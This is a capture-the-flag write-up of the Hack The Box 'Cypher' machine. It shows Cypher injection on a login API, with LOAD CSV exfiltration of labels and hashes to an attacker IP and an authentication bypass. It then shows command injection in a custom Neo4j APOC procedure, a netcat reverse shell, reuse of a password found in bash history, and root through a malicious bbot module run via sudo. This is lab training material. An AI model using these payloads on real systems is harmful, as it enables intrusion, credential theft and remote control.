Table of Contents
Recon
As the name suggests, this medium-difficulty Linux box features a Neo4j graph database, which we exploit using both Cypher injection and command injection of a custom APOC extension. Rooting the box we (cheese the flag) develop a module for the bbot tool, as we can execute it as sudo.
nmap
# Nmap 7.95 scan initiated Thu May 22 18:19:25 2025 as: /usr/lib/nmap/nmap -sC -sV -oA nmap/cypher -vv 10.129.215.22
Nmap scan report for cypher.htb (10.129.215.22)
Host is up, received reset ttl 63 (0.033s latency).
Scanned at 2025-05-22 18:19:26 CEST for 8s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
| 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 22 18:19:34 2025 -- 1 IP address (1 host up) scanned in 9.11 seconds
Pretty basic box. Let's look at the website.
Busting
┌──(kali㉿kali)-[~/htb/box/cypher]
└─$ feroxbuster -u http://cypher.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cypher.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 126l 274w 3671c http://cypher.htb/login
200 GET 3l 113w 8123c http://cypher.htb/bootstrap-notify.min.js
200 GET 63l 139w 1548c http://cypher.htb/utils.js
200 GET 179l 477w 4986c http://cypher.htb/about
307 GET 0l 0w 0c http://cypher.htb/demo => http://cypher.htb/login
307 GET 0l 0w 0c http://cypher.htb/api => http://cypher.htb/api/docs
307 GET 0l 0w 0c http://cypher.htb/api/ => http://cypher.htb/api/api
405 GET 1l 3w 31c http://cypher.htb/api/auth
[...SNIP...]
[####################] - 53s 30000/30000 568/s http://cypher.htb/
[####################] - 0s 30000/30000 63425/s http://cypher.htb/testing/ => Directory listing (add --scan-dir-listings to scan)
We see:
/api/testing
And in /testing we see a directory listing:
custom-apoc-extension-1.0-SNAPSHOT.jar
Which is a custom extension for Neo4j's Cypher, which we will be using later to do command injection!
Web
On the website, we can try to login, however we cannot register and we have no credentials
Cypher Exfiltration
Attacking the /api/auth endpoint we saw earlier with Cypher injection
Normal SQL injection like methods of ' OR 1=1 -- dont work here. However if we cause an error we can leak the query:
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
^}
So we know the full query is:
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '<INPUT>' return h.value as hash
Initially I tried if I could exfiltrate some data from the database:
I gathered some payloads from Neo4jection: Secrets, Data, and Cloud Exploits
POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 158
Origin: http://cypher.htb
DNT: 1
Connection: keep-alive
Referer: http://cypher.htb/login
Priority: u=0
{"username":"admin' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.111/?l='+label as l RETURN 0 as _0 //","password":"adad"}
Setting up a quick http server, we can see the query and partials exfiltration working:
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.215.22 - - [22/May/2025 20:45:19] "GET /?l=USER HTTP/1.1" 200 -
10.129.215.22 - - [22/May/2025 20:45:19] "GET /?l=HASH HTTP/1.1" 200 -
10.129.215.22 - - [22/May/2025 20:45:19] "GET /?l=DNS_NAME HTTP/1.1" 200 -
10.129.215.22 - - [22/May/2025 20:45:19] "GET /?l=SHA1 HTTP/1.1" 200 -
10.129.215.22 - - [22/May/2025 20:45:20] "GET /?l=SCAN HTTP/1.1" 200 -
10.129.215.22 - - [22/May/2025 20:45:20] "GET /?l=ORG_STUB HTTP/1.1" 200 -
10.129.215.22 - - [22/May/2025 20:45:20] "GET /?l=IP_ADDRESS HTTP/1.1" 200 -
So we have the labels:
USERHASHDNS_NAMESHA1SCANORG_STUBIP_ADDRESS
We can exfiltrate username and hash:
POST /api/auth HTTP/1.1
Host: cypher.htb
[...SNIP...]
{"username":"admin' OR 1=1 WITH 1 as a MATCH (f:USER) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.111/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // ","password":"password"}
10.129.215.22 - - [22/May/2025 21:20:42] "GET /?name=graphasm HTTP/1.1" 200 -
and likewise the hash:
10.129.215.22 - - [22/May/2025 21:30:47] "GET /?value=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -
However the hash does not crack, and we would need that preimage of the hash to login.
Bypass login
Instead we make the query return the hash we want! First we compute the hash of password
└─$ echo -n "password" | sha1sum
5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 -
Then we terminate the query early, returning the hash we want:
POST /api/auth HTTP/1.1
Host: cypher.htb
[...SNIP...]
{"username":"graphasm' return '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' as hash //","password":"password"}
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Fri, 23 May 2025 08:05:33 GMT
Content-Length: 2
Connection: keep-alive
set-cookie: access-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJncmFwaGFzbScgcmV0dXJuICc1YmFhNjFlNGM5YjkzZjNmMDY4MjI1MGI2Y2Y4MzMxYjdlZTY4ZmQ4JyBhcyBoYXNoIC8vIiwiZXhwIjoxNzQ4MDMwNzMzfQ._Bpk5f875-uf5zLWI395QUaWm_mwZ4QC8PgyHLQW9kU; Path=/; SameSite=lax
ok
And this logs us in!
Command injection - Custom apoc cypher extension
We can make queries using the labels discovered earlier, but given that we have a custom APOC extension in our hands that is what is the most interesting.
package com.cypher.neo4j.apoc;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
public class CustomFunctions {
@Procedure(
name = "custom.getUrlStatusCode",
mode = Mode.READ
)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
String line;
while((line = errorReader.readLine()) != null) {
errorOutput.append(line).append("\n");
}
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0) {
System.err.println("Error output:\n" + errorOutput.toString());
}
return Stream.of(new CustomFunctions.StringOutput(statusCode));
}
public static class StringOutput {
public String statusCode;
public StringOutput(String statusCode) {
this.statusCode = statusCode;
}
}
}
If we look at the code we can see that:
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
curl -s -o /dev/null --connect-timeout 1 -w %{http_code} <USER_INPUT>. So we can perform command injection
MATCH (u:USER) CALL custom.getUrlStatusCode(";cat /etc/passwd|grep graphasm|base64") YIELD statusCode RETURN statusCode
Decodes to:
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
Trying to cheese the flag:
MATCH (u:USER) CALL custom.getUrlStatusCode(";ls /home/g*/|base64") YIELD statusCode RETURN statusCode
MATCH (u:USER) CALL custom.getUrlStatusCode(";cat /home/g*/user.txt|base64") YIELD statusCode RETURN statusCode
return only 000 so I guess the executing user doesn't have the required rights.
I will just try to get a shell. And this one works:
MATCH (u:USER) CALL custom.getUrlStatusCode(";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.111 9001 >/tmp/f") YIELD statusCode RETURN statusCode
Shell as neo4j
The home of the neo4j user:
neo4j@cypher:~$ ls
ls
certificates import licenses plugins run
data labs packaging_info products
neo4j@cypher:~$ ls -la
ls -la
total 52
drwxr-xr-x 11 neo4j adm 4096 Feb 17 16:39 .
drwxr-xr-x 50 root root 4096 Feb 17 16:48 ..
-rw-r--r-- 1 neo4j neo4j 63 Oct 8 2024 .bash_history
drwxrwxr-x 3 neo4j adm 4096 Oct 8 2024 .cache
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 certificates
drwxr-xr-x 6 neo4j adm 4096 Oct 8 2024 data
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 import
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 labs
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 licenses
-rw-r--r-- 1 neo4j adm 52 Oct 2 2024 packaging_info
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 plugins
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 products
drwxr-xr-x 2 neo4j adm 4096 May 22 16:16 run
lrwxrwxrwx 1 neo4j adm 9 Oct 8 2024 .viminfo -> /dev/null
We also see that there is kept a history of bash commands. Usually it is pointed to the void (/dev/null), for machines on HTB.
Grepping for 'password' reveals credentials in the bash history:
neo4j@cypher:~$ grep -r "password" .
grep -r "password" .
grep: ./data/databases/system/neostore.propertystore.db.index.keys: binary file matches
grep: ./data/transactions/system/neostore.transaction.db.0: binary file matches
./.bash_history:neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
So, we can connect through SSH to the box as the graphasm user with the password
┌──(kali㉿kali)-[~/htb/box/cypher]
└─$ ssh graphasm@cypher.htb
The authenticity of host 'cypher.htb (10.129.215.22)' can't be established.
ED25519 key fingerprint is SHA256:u2MemzvhD6xY6z0eZp5B2G3vFuG+dPBlRFrZ66gaXZw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cypher.htb' (ED25519) to the list of known hosts.
graphasm@cypher.htb's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri May 23 08:39:33 AM UTC 2025
System load: 0.0 Processes: 236
Usage of /: 72.6% of 8.50GB Users logged in: 0
Memory usage: 58% IPv4 address for eth0: 10.129.215.22
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri May 23 08:39:34 2025 from 10.10.14.111
Shell as graphasm
We finally find the real user:
graphasm@cypher:~$ ls -la
total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root root 4096 Oct 8 2024 ..
lrwxrwxrwx 1 root root 9 Oct 8 2024 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 graphasm graphasm 156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct 8 2024 .cache
-rw-r--r-- 1 graphasm graphasm 807 Mar 31 2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct 8 2024 .ssh
-rw-r----- 1 root graphasm 33 May 22 16:17 user.txt
graphasm@cypher:~$ wc user.txt
1 1 33 user.txt
That's why we couldn't read the flag with the command injection, as the custom extension was running as the neo4j user.
Root
Cheesing the flag
graphasm@cypher:~$ cat bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
We can see the domain: ecorp.htb. (I didn't show this earlier, but we could find the same domain name by exfiltrating the value of the label DNS_NAME.)
Running sudo -l reveals:
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
Running sudo /usr/local/bin/bbot --help to see if I can include a file somehow and let bbot include it. I think --targets and --whitelist are options that allow reading of files.
We can cheese the root flag by run the binary in a more verbose mode with --debug:
graphasm@cypher:~$ sudo /usr/local/bin/bbot -t /root/root.txt -w /root/root.txt --debug
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Reading targets from file: /root/root.txt
[INFO] Reading whitelist from file: /root/root.txt
[DBUG] Preset bbot_cli_main: Adding module "json" of type "output"
[...SNIP...]
[DBUG] internal.excavate: Including Submodule ErrorExtractor
[DBUG] internal.excavate: Including Submodule FunctionalityExtractor
[DBUG] internal.excavate: Including Submodule HostnameExtractor
[DBUG] Generated Regex [(([a-z0-9-]+\.)+ef0aefc75c4a7b5bac448c835557e62e)] for domain ef0aefc75c4a7b5bac448c835557e62e
[DBUG] internal.excavate: Including Submodule JWTExtractor
[DBUG] internal.excavate: Including Submodule NonHttpSchemeExtractor
[DBUG] internal.excavate: Including Submodule ParameterExtractor
[...SNIP...]
[DBUG] Setting intercept module cloudcheck._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue
[DBUG] Setting intercept module _scan_egress._incoming_event_queue to previous intercept module cloudcheck.outgoing_event_queue
[SUCC] Setup succeeded for 12/12 modules.
[TRCE] Command: /usr/local/bin/bbot -t /root/root.txt -w /root/root.txt --debug
[SUCC] Scan ready. Press enter to execute diabolic_jennifer
We have 'cheesed' the flag with the target flag: -t, but this isn't exactly a compromise of the system!
The intended way is to create a module for the bbot by blacklanternsecurity and have it drop you into a shell.
So that's what I did here:
- https://github.com/Smavl/bbot-shell/
graphasm@cypher:~$ cat bbot_slim.yml
module_dirs:
- /home/graphasm/mod_dir
graphasm@cypher:~$ ls -la mod_dir/
total 12
drwxrwxr-x 2 graphasm graphasm 4096 May 23 12:35 .
drwxr-xr-x 8 graphasm graphasm 4096 May 23 12:36 ..
-rw-rw-r-- 1 graphasm graphasm 1881 May 23 12:35 shell.py
graphasm@cypher:~$ sudo /usr/local/bin/bbot -m shell -p /home/graphasm/bbot_slim.yml
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
[INFO] Loaded 1/1 scan modules (shell)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[INFO] shell: Shell module loading
[INFO] shell: Binary: /usr/bin/bash was found
[SUCC] shell: Spawning shell: /usr/bin/bash as root
root@cypher:/home/graphasm# id
uid=0(root) gid=0(root) groups=0(root)
root@cypher:/home/graphasm# wc /root/root*
1 1 33 /root/root.txt